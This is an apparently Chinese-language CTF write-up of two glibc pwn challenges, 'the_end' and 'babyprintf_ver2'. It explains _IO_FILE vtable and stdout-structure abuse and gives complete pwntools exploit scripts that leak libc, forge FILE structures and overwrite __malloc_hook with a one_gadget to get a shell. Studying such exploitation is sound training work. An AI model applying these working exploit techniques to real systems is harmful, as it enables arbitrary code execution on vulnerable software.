written by catling
_IO_FILE
這個題目邏輯很簡單,5次任意地址寫1byte,而且已經有了libc的地址,關鍵是往哪裡寫。
exit()函數先會進行一些清理工作,然後再中斷程序,在跟蹤的時候發現有這樣的一個跳轉
這裡的call跳轉是根據虛表決定的
同時發現,在call執行的時候,有一個輸入的數據在棧上,於是採用跳gadget的方式,最後一次輸入one_gadget的地址,然後用一個add rsp, 0x80;ret;的語句跳到one_gadget上去。
one_gadget
add rsp, 0x80;ret;
由於關閉了stdoutget shell後重定位恢復即可。
stdout
exp:
from pwn import * import os
context.log_level = debug env = os.environ env[LD_PRELOAD] = ./libc64.so libc = ELF(./libc64.so)
p = process(./the_end, env = env) p.recvuntil("here is a gift ") leak = int(p.recv(14),16) log.info("leak libc addr is " + hex(leak)) p.recvuntil("luck ")
libc_base = leak - 0xcc230 log.info("libc base is " + hex(libc_base))
one_gadget = libc_base + 0x4526a log.info("one_gadget is " + hex(one_gadget))
offset1 = libc_base + 0x3c56f8 offset2 = libc_base + 0x3c4b00
change1 = libc_base + 0x3c4aa8 change2 = libc_base + 0x8400D
p.send(p64(offset1)) sleep(0.1) p.send(p8(int(0x+hex(change1)[-2:],16)))
sleep(0.1) p.send(p64(offset1+1)) sleep(0.1) p.send(p8(int(0x+hex(change1)[-4:-2],16))) sleep(0.1)
p.send(p64(offset2)) sleep(0.1) p.send(p8(int(0x+hex(change2)[-2:],16))) sleep(0.1)
p.send(p64(offset2+1)) sleep(0.1) p.send(p8(int(0x+hex(change2)[-4:-2],16))) sleep(0.1)
p.send(p64(one_gadget)) sleep(0.1)
p.send(p8(0x1))
sleep(1)
p.interactive()
先看一下保護措施,由於有FORTIFY,而且libc的版本是2.27,所以不能使用格式化字元串的思路,而且出題人故意給棧上填充了很多數據,所以不能使用格式化字元串的思路來leak地址或者修改內存。
所以這題目和the_end一樣,考察對_IO_FILE的利用
在main()函數中,現將stdout的虛表指針取出來,後面判斷,如果不對的話,再把指針寫回去(是寫回去,不是直接終止程序)。所以我們就有了一個可以控制的_IO_FILE結構。
main()
跟蹤一下__printf_chk()函數,可以看見調用了vfprintf()隨後調用了_IO_file_xsputn(),並且第二個參數是我們輸入的字元,
__printf_chk()
vfprintf()
_IO_file_xsputn()
後面為了清楚我們直接看程序的源碼。
這裡_flags & _IO_LINE_BUF執行為0,所以執行後面else if的語句,如果count大於0並且大於to_do的話,執行__mempcpy,同時count控制了複製的長度。
_flags & _IO_LINE_BUF
else if
count
to_do
所以只要修改_IO_write_ptr和_IO_write_end就可以進行任意地址寫,寫的內容為我們輸入的字元。
_IO_write_ptr
_IO_write_end
我的做法是改寫malloc_hook,用libc報錯觸發malloc_hook
malloc_hook
_flags=0xfbad2887 _fileno=1 _lock= 一個可寫地址 _IO_write_ptr=malloc_hook _IO_write_end=malloc_hook+8
Exp:
env = os.environ env[LD_PRELOAD] = ./libc64.so
context.log_level = debug libc = ELF(./libc64.so)
def struct_io_file(_flags=0,_IO_read_ptr=0,_IO_read_end=0,_IO_read_base=0, _IO_write_base=0,_IO_write_ptr=0,_IO_write_end=0, _IO_buf_base=0,_IO_buf_end=0, _IO_save_base=0,_IO_backup_base=0,_IO_save_end=0, _markers=0,_chain=0,_fileno=0,_flag2=0,_lock=0): f = p64(_flags) + p64(_IO_read_ptr) + p64(_IO_read_end) + p64(_IO_read_base) + p64(_IO_write_base) + p64(_IO_write_ptr) + p64(_IO_write_end) + p64(_IO_buf_base) + p64(_IO_buf_end) + p64(_IO_save_base) + p64(_IO_backup_base) + p64(_IO_save_end) + p64(_markers) + p64(_chain) + p64(_fileno) + p64(_flag2) + p64(0) + p64(_lock) f = f.ljust(0xd0,x00) return f
p = process(./babyprintf_ver2,env=env)
p.recvuntil("So I change the buffer location to ")
text_addr = int(p.recv(14), 16)
log.info("test addr is " + hex(text_addr)) text_base = text_addr - 0x202010 log.info("text base is " + hex(text_base)) p.recvuntil("Have fun! ")
p.sendline(a*16 + p64(text_addr+32) + p64(0) + struct_io_file(_flags=0xfbad2887,_fileno=1, _IO_write_base=(text_base+0x0000000000201FB0), _IO_write_ptr=text_base+0x0000000000201FB0+8, _IO_read_end=text_base+0x0000000000201FB0, _lock=text_addr+0x100) )
p.recvuntil(rewrite vtable is not permitted! )
leak = u64(p.recv(8))
libc_base = leak - libc.symbols[puts] log.info("libc base is " + hex(libc_base)) p.recv()
malloc_hook = libc_base + libc.symbols[__malloc_hook] one_gadget = libc_base + 0x4f322
p.sendline(p64(one_gadget)*2+p64(text_addr+32)+p64(0)+ struct_io_file(_flags=0xfbad2887, _fileno=1, _lock=text_addr+0x150, _IO_write_ptr=malloc_hook, _IO_write_end=malloc_hook+8))
sleep(1.1) log.info("malloc hook is " + hex(malloc_hook)) log.info("one_gadget is " + hex(one_gadget))
p.sendline("%n%n%n%n") sleep(0.1)
推薦閱讀: